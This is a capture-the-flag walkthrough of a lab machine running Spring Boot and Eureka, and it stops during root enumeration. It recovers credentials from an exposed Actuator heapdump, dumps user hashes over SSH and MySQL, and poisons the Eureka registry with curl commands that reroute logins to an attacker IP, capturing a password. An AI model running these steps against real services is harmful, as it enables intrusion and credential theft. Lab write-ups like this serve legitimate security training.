RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
| 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open http syn-ack Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 8761: exposed a Tomcat administrative interface. Typically, the initial move would involve brute-forcing with default Tomcat credentials (tomcat:tomcat
, admin:admin
, and so forth), pivoting to a WAR file deployment if authentication is compromised.
Simultaneously, the primary foothold appears accessible via http://furni.htb/—our front door into the system’s labyrinth.
Port 80
Look Around
Port 80 hosts a furniture e-commerce platform, where users can submit a contact form via a POST request:

We also find a /comment
endpoint for blog submissions. However, after some XSS probing, no injection points were found vulnerable.
Dirsearch
$ dirsearch -u http://furni.htb/ -x 399-499
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266
Target: http://furni.htb/
[20:22:04] Scanning:
[20:22:49] 200 - 14KB - /about
[20:22:51] 200 - 2KB - /actuator
[20:22:52] 200 - 20B - /actuator/caches
[20:22:53] 200 - 2B - /actuator/info
[20:22:53] 200 - 467B - /actuator/features
[20:22:53] 200 - 6KB - /actuator/env
[20:22:53] 200 - 15B - /actuator/health
[20:22:53] 200 - 3KB - /actuator/metrics
[20:22:53] 200 - 54B - /actuator/scheduledtasks
[20:22:53] 200 - 35KB - /actuator/mappings
[20:22:53] 200 - 36KB - /actuator/configprops
[20:22:53] 200 - 99KB - /actuator/loggers
[20:22:52] 200 - 180KB - /actuator/conditions
[20:22:52] 200 - 198KB - /actuator/beans
[20:22:53] 200 - 211KB - /actuator/threaddump
[20:22:53] 200 - 76MB - /actuator/heapdump
[20:23:26] 200 - 13KB - /blog
[20:23:27] 302 - 0B - /cart -> http://furni.htb/login
[20:23:29] 302 - 0B - /checkout -> http://furni.htb/login
[20:23:32] 302 - 0B - /comment -> http://furni.htb/login
[20:23:36] 200 - 10KB - /contact
[20:23:48] 500 - 73B - /error
[20:24:14] 200 - 2KB - /login
[20:24:16] 200 - 1KB - /logout
[20:24:46] 200 - 9KB - /register
[20:24:53] 200 - 14KB - /services
[20:24:54] 200 - 12KB - /shop
Task Completed
Spring Boot Actuator Endpoints are Public! /actuator
endpoints like:
/env
/heapdump
/mappings
/beans
/loggers
/heapdump
(76MB!)
Clear signal: the backend rides on a Spring Boot application.
Port 8761 | Tomcat
This port leaks a Tomcat administration panel:

Old-school HTTP Basic Authentication in place:
GET / HTTP/1.1
Host: furni.htb:8761
Cache-Control: max-age=0
Authorization: Basic YWFhOmFhYQ==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=M2UwN2E2OTgtM2IxOS00ZmM4LThjYzQtYzUzMTY0MThiYTkz; JSESSIONID=225DC3A504EE3C9BF0CD445CACA6363B
Connection: keep-alive
WEB
Sprint Boot Actuator
/actuator
It strips the traditional Spring complexity down to a slick, fire-and-forget model—compile a .jar
, and boom, the app breathes online with its own embedded server (Tomcat, Jetty, etc.).
Bundled with it comes Spring Boot Actuator — an operational god mode. Actuator opens special management endpoints like /actuator/health
, /actuator/env
, /actuator/heapdump
, allowing real-time visibility into the application's pulse.
If these endpoints are exposed publicly, it’s game over. They spill system guts, environment secrets, memory states—a buffet for attackers.
Key Actuator Endpoints (Critical for Attackers):
Endpoint | Usage | Risk |
---|---|---|
/actuator/env | Shows environment variables | Can leak DB creds, API keys, tokens |
/actuator/heapdump | Dumps server memory snapshot | Credentials, tokens, sessions in RAM |
/actuator/mappings | Lists all API routes | Discover hidden admin APIs |
/actuator/beans | Lists internal objects | Reveal service structure, logic hints |
/actuator/health | System health info | Minor info leak unless extended |
A naked /heapdump
is a loaded shotgun pointed at the server’s own head.
Enum Endpoints
Env
Snagging /actuator/env
dropped a detailed JSON on the deck, revealing the server’s internal configuration. The app’s default profile boots off a local application.properties
at /var/www/web/Furni/src/main/resources/
, where critical operational parameters live:
{
"name": "Config resource 'file [/var/www/web/Furni/src/main/resources/application.properties]' via location '/var/www/web/Furni/src/main/resources/application.properties'",
"properties": {
"spring.application.name": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 1:25"
},
"spring.session.store-type": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 2:27"
},
"spring.cloud.inetutils.ignoredInterfaces": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 3:42"
},
"spring.cloud.client.hostname": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 4:30"
},
"eureka.client.service-url.defaultZone": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 6:40"
},
"eureka.instance.hostname": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 7:26"
},
"eureka.instance.prefer-ip-address": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 8:35"
},
"spring.jpa.hibernate.ddl-auto": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 10:31"
},
"spring.datasource.url": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 11:23"
},
"spring.datasource.username": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 12:28"
},
"spring.datasource.password": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 13:28"
},
"spring.datasource.driver-class-name": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 14:37"
},
"spring.jpa.properties.hibernate.format_sql": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 15:44"
},
"server.address": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 17:16"
},
"server.port": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 18:13"
},
"server.forward-headers-strategy": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 20:33"
},
"management.endpoints.web.exposure.include": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 22:43"
}
}
}
- Database is configured (
spring.datasource.url
,spring.datasource.username
,spring.datasource.password
): credentials are masked but possibly recoverable from heapdump memory. - This server uses Eureka service discovery, with
eureka.client.service-url.defaultZone
defined (although masked). This indicates the application actively participates in a service registry system, typically in microservice architectures.
It hints that internal service registration credentials exist.
Feature
Pulling /actuator/features
showcased active integrations inside the Furni app:
{
"enabled": [
{
"type": "com.netflix.discovery.EurekaClient",
"name": "Eureka Client",
"version": "2.0.3",
"vendor": null
},
{
"type": "org.springframework.cloud.client.discovery.composite.CompositeDiscoveryClient",
"name": "DiscoveryClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
},
{
"type": "org.springframework.cloud.loadbalancer.blocking.client.BlockingLoadBalancerClient",
"name": "LoadBalancerClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
}
],
"disabled": []
}
The app registers itself as a service to Eureka server of version 2.0.3. It fetches peers, and likely relies on load balancing between internal components.
Heapdump
We snag the heapdump straight from /actuator/heapdump
:
$ curl -O http://furni.htb/actuator/heapdump
$ file heapdump
heapdump: Java HPROF dump, created Thu Aug 1 18:29:32 2024
When the Java server was running:
- If the application had a password loaded in memory:
admin:SuperSecret123!
- If it had active JWT sessions:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
- If it connected to a DB: JDBC URL and password would be alive.
The heapdump would contain raw memory bytes for those values.
To crack it open, unleash JDumpSpider:
$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump.hprof
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka
===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
not found!
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
not found!
===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]
org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]
org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]
org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]
com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]
com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]
com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]
com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]
com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]
com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]
org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]
org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]
org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]
com.zaxxer.hikari.HikariDataSource:
[password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
Findings from Heapdump spider:
- MySQL Credentials:
- Username:
oscar190
- Password:
0sc@r190_S0l!dP@sswd
- Database URL:
jdbc:mysql://localhost:3306/Furni_WebApp_DB
- Username:
- Eureka Service Credentials:
- Username:
EurekaSrvr
- Password:
0scarPWDisTheB3st
- Service URL:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
- Username:
- Spring Boot Default User Password:
- Auto-generated password:
4312eecb-54e8-46b9-a645-5b9df3ea21d8
- Auto-generated password:
- Server Configuration:
- Application Name:
Furni
- Server Port:
8082
- Session Store:
jdbc
(sessions stored in database) - Hibernate setting:
format_sql=true
- Application Name:
MySQL
The credentials excavated from the heapdump — oscar190 / 0sc@r190_S0l!dP@sswd
— grant SSH access as user oscar190
:

Once inside, we breach the MySQL database:
oscar190@eureka:~$ mysql -uoscar190 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 116
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| Furni_WebApp_DB |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use Furni_WebApp_DB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [Furni_WebApp_DB]> show tables;
+---------------------------+
| Tables_in_Furni_WebApp_DB |
+---------------------------+
| SPRING_SESSION |
| SPRING_SESSION_ATTRIBUTES |
| blogs |
| cart |
| cart_items |
| cart_product |
| cart_product_seq |
| cart_seq |
| carts |
| category |
| category_seq |
| comment |
| customer |
| customer_seq |
| furniture |
| product |
| product_id |
| product_seq |
| users |
+---------------------------+
19 rows in set (0.001 sec)
MariaDB [Furni_WebApp_DB]> select * from users;
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
| id | first_name | last_name | email | password | is_staff |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
| 2 | Kamel | Mossab | [email protected] | $2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW | 0 |
| 4 | Lorra | Barker | [email protected] | $2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK | 0 |
| 5 | Martin | Wood | [email protected] | $2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO | 0 |
| 8 | Roberto | Dalton | [email protected] | $2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu | 0 |
| 9 | Miranda | Wise | [email protected] | $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm | 1 |
| 10 | Oscar | Dalton | [email protected] | $2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96 | 1 |
| 11 | Nya | Dalton | [email protected] | $2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK | 1 |
| 12 | lucas | carols | [email protected] | $2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC | 0 |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
8 rows in set (0.001 sec)
All hashes are bcrypt ($2a$10$
), making them bruteforce-resistant without serious GPU firepower.
Internal Enum
Within the oscar190
shell, we start peeling back the system’s layers.
We can read /honme
or /etc/passwd
to leak existed users:
oscar190@eureka:/var/www/web/cloud-gateway/src/main/resources$ ll /home
total 16
drwxr-xr-x 4 root root 4096 Aug 9 2024 ./
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ../
drwxr-x--- 8 miranda-wise miranda-wise 4096 Mar 21 13:26 miranda-wise/
drwxr-x--- 5 oscar190 oscar190 4096 Apr 1 12:57 oscar190/
oscar190@eureka:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
mysql:x:115:119:MySQL Server,,,:/nonexistent:/bin/false
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
Valid user miranda-wise
found for the Linux system.
Web root exposure:
oscar190@eureka:~$ ls /var/www -l
total 8
drwxr-xr-x 2 root root 4096 Apr 10 07:27 html
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 web
Drilling into /var/www/web/cloud-gateway/src/main/resources
, jackpot a configuration file application.yaml
:
eureka:
instance:
hostname: localhost
prefer-ip-address: false
client:
registry-fetch-interval-seconds: 20
service-url:
defaultZone: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
spring:
cloud:
client:
hostname: localhost
gateway:
routes:
- id: user-management-service
uri: lb://USER-MANAGEMENT-SERVICE
predicates:
- Path=/login,/logout,/register,/process_register
- id: furni
uri: lb://FURNI
predicates:
- Path=/**
application:
name: app-gateway
server:
port: 8080
address: 127.0.0.1
management:
tracing:
sampling:
probability: 1
logging:
level:
root: INFO
file:
name: log/application.log
path: ./
It confirms exactly how Eureka is configured inside the app.
This explicitly shows:
- Username:
EurekaSrvr
- Password:
0scarPWDisTheB3st
- Eureka server URL:
http://localhost:8761/eureka/
- The app forwards
/login
,/register
, etc. directly to the serviceUSER-MANAGEMENT-SERVICE
via Eureka.
This is why we can MITM login by spoofing
USER-MANAGEMENT-SERVICE
introduced in the next section — because requests like/login
are transparently routed by load balancer (lb://
means LoadBalancer) to whatever IP is registered in Eureka.
Eureka
Eureka Workflow
Eureka, the one host on port 8762
, is a Service Discovery Server developed by Netflix, later integrated into Spring Cloud Netflix for microservices – It acts like a "yellow pages" for microservices inside a distributed system.
In simple terms:
Eureka helps services find and talk to each other automatically.
Instead of hardcoding IP addresses, microservices register themselves to Eureka, and query Eureka to discover where other services are.
Eurekaitself is a Java Spring Boot application that internally runs on an embedded Apache Tomcat server. Port 8761 is the default port used by Eureka Server when it runs, and this is confirmed via the downloaded heapdump file.
Eureka workflow can be illustrated as the following diagram:
+-------------------+ +-------------------+
| Service A | | Service B |
| (Eureka Client) | | (Eureka Client) |
+-------------------+ +-------------------+
| |
1. Register itself 1. Register itself
| |
| |
| 2. Heartbeat (keep alive) |
|---------------------------------------->|
| |
| |
v v
+---------------------------------------------------------+
| Eureka Server (Port 8761) |
| |
| - Stores service name, IP, port, metadata |
| - Updates status based on heartbeats |
| - Provides lookup API for clients |
+---------------------------------------------------------+
^ ^
| |
| 3. Lookup other services | 3. Lookup other services
| <---------------------------------------|
| |
| |
| 4. Eureka responds with target IP/Port |
|---------------------------------------> |
| |
v v
+---------------------+ +---------------------+
| Service A | | Service B |
| (makes direct call) | | (makes direct call) |
+---------------------+ +---------------------+
Password Reusing
On port 8761, armed with the credentials ripped from the heapdump (EurekaSrvr / 0scarPWDisTheB3st
), we breach the Eureka service:

MITM
Service Overview
Inside the Eureka dashboard, three live services shimmer in the dark:
Application Name | Status | URL |
---|---|---|
APP-GATEWAY | UP | localhost:app-gateway:8080 |
FURNI | UP | localhost:Furni:8082 |
USER-MANAGEMENT-SERVICE | UP | localhost:USER-MANAGEMENT-SERVICE:8081 |
- The APP-GATEWAY is the brains routing user traffic.
- FURNI is the web frontend we first touched on port 80.
- And USER-MANAGEMENT-SERVICE — that's where authentication lives.
While APP-GATEWAY usually processes some internal routing, USER-MANAGEMENT-SERVICE tends to provide user information for authentication. For example:
Login Form → APP-GATEWAY → USER-MANAGEMENT-SERVICE → DB
By knowing the workflow from previous 2 sections, we can easily come up with an idea to hijack one of the services exposed (aka MITM attack), with the privileges as the Eureka service admin.
The idea is – Eureka relies on registered services to route traffic between microservices, which means It trusts whatever is in its registry. If we replace a real service (e.g., USER-MANAGEMENT-SERVICE
) with our fake server, all traffic that would normally go to the real one will now go to us. Then the authentication traffic should become:
Login Form → APP-GATEWAY → USER-MANAGEMENT-SERVICE (hijacked) → OUR SERVER
Therefore, we can poison the service discovery and hijack user sessions.
To manipulate with Eureka REST operations, we can refer to the official documentation – but this is for older v1 version, which does not completely work for the newer v2 version. Where:
The existing open source work on eureka 2.0 is discontinued. The code base and artifacts that were released as part of the existing repository of work on the 2.x branch is considered use at your own risk.
However, we can just refer to spring.io
for the guides on new version with the revealed Eureka configuration in previous Internal Enum section.
1. Get the registration info for the real service
curl -u 'EurekaSrvr:0scarPWDisTheB3st@http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE'
This dumps the current XML configuration for the USER-MANAGEMENT-SERVICE
:
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.129.▒▒.▒▒</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1745499547869</registrationTimestamp>
<lastRenewalTimestamp>1745741209415</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1745499547869</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://localhost:8081/</homePageUrl>
<statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1745499547869</lastUpdatedTimestamp>
<lastDirtyTimestamp>1745499547192</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
We need this for our fake service to look similar.
2. Create malicious XML
With the retrieved config file, we then modify these fields in our midman.xml
:
Field | Change to |
---|---|
<instanceId> | attacker_ip:USER-MANAGEMENT-SERVICE:8081 |
<hostName> | attacker IP |
<ipAddr> | attacker IP |
<port> | Choose the port we will listen on |
<homePageUrl> | http://attacker_ip:port |
<statusPageUrl> | http://attacker_ip:portactuator/info |
<healthCheckUrl> | http://attacker_ip:port/actuator/health |
Example replacement if attacker IP is 10.10.14.5
and we would listen on port 4444
to steal traffic as a middle man:
<instance>
<instanceId>happy-middle-man</instanceId>
<hostName>10.10.14.5</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.14.5</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">4444</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1745499547869</registrationTimestamp>
<lastRenewalTimestamp>1745741209415</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1745499547869</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>4444</management.port>
</metadata>
<homePageUrl>http://10.10.14.5:4444/</homePageUrl>
<statusPageUrl>http://10.10.14.5:4444/actuator/info</statusPageUrl>
<healthCheckUrl>http://10.10.14.5:4444/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1745499547869</lastUpdatedTimestamp>
<lastDirtyTimestamp>1745499547192</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
Eureka expects only <instance>...</instance>
whenwe POST /eureka/apps/USER-MANAGEMENT-SERVICE
.
3. Register fake instance
POST our modified midman.xml
back into Eureka:
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
-H "Content-Type: application/xml" \
-d @midman.xml \
-X POST http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE
When users/microservices ask for the service, our malicious server address will be given.
4. Delete the original instance
Kill the original real service entry for replacement:
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
-X DELETE \
'http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081'
5. Launch a listener
Setup a listener in advance and we capture the login credentials for a user called miranda.wise
:

Our MITM attack works and we exfiltrate the credentials [email protected] / IL!veT0Be&BeT0L0ve
.
Recover the USER-MANAGEMENT-SERVICE
service, where the web app relies on, with the saved config file:
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
-H "Content-Type: application/xml" \
-d @old.xml \
-X POST http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE
Remove the hijacked one, then we can login the Furni web app as Miranda Wise
:

USER
Password Reuse
Recycling the stolen password IL!veT0Be&BeT0L0ve
, we pivot deeper — logging in as user miranda-wise
, who is member of the developers
group, we can SSH login the machine:

And take the user flag here.
ROOT
Local Enum
No sudo:
miranda-wise@eureka:/dev/shm$ sudo -l
[sudo] password for miranda-wise:
Sorry, user miranda-wise may not run sudo on localhost.
We can run LinPEAS on the target for enumeration.
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/log/journal/05275fe65ca74999b42379fe4b17d273/system@c4d33b84ac324922a1dbe5e9e12d424f-000000000019ddb1-000633c0adb53143.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1001.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1001@53a7e125097f4490b11ad9917c66d73d-000000000019f86b-000633c0f076f58a.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1000.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/system.journal
/var/log/laurel/audit.log.5
/var/log/laurel/audit.log.3
/var/log/laurel/audit.log.2
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log
/var/log/laurel/audit.log.4
/var/log/auth.log
/var/log/syslog
/var/log/kern.log
/var/www/web/cloud-gateway/log/application.log
/var/www/web/user-management-service/log/application.log
Beyond the system logs, the last two application.log
stood out — recently and rhythmically updated.
╔══════════╣ Unexpected in /opt (usually empty)
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
